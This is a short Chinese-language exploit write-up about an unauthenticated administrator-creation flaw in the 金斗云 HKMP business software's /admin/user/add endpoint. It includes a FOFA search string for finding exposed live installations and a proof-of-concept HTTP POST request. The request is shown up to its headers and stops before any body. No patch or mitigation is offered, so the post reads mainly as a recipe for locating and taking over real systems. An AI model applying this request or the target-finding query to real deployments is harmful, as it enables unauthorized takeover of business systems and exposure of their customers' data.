0x01 產品簡介

金斗云智慧商業軟件是一款功能強大、易于使用的智慧管理系統，通過智能化的管理工具，幫助企業實現高效經營、優化流程、降低成本，并提升客戶體驗。無論是珠寶門店、4S店還是其他零售、服務行業，金斗云都能提供量身定制的解決方案，助力企業實現數字化轉型和智能化升級。幫助企業提升業績、優化流程、降低成本，并增強客戶體驗。

0x02 漏洞概述

金斗云 HKMP智慧商業軟件 /admin/user/add 接口存在任意用戶創建漏洞，未經身份驗證的遠程攻擊者可以利用此漏洞創建管理員賬戶，從而接管系統后臺，造成信息泄露，導致系統處于極不安全的狀態。

0x03 復現環境

FOFA：body="金斗云 Copyright"

0x04 漏洞復現

PoC

POST /admin/user/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01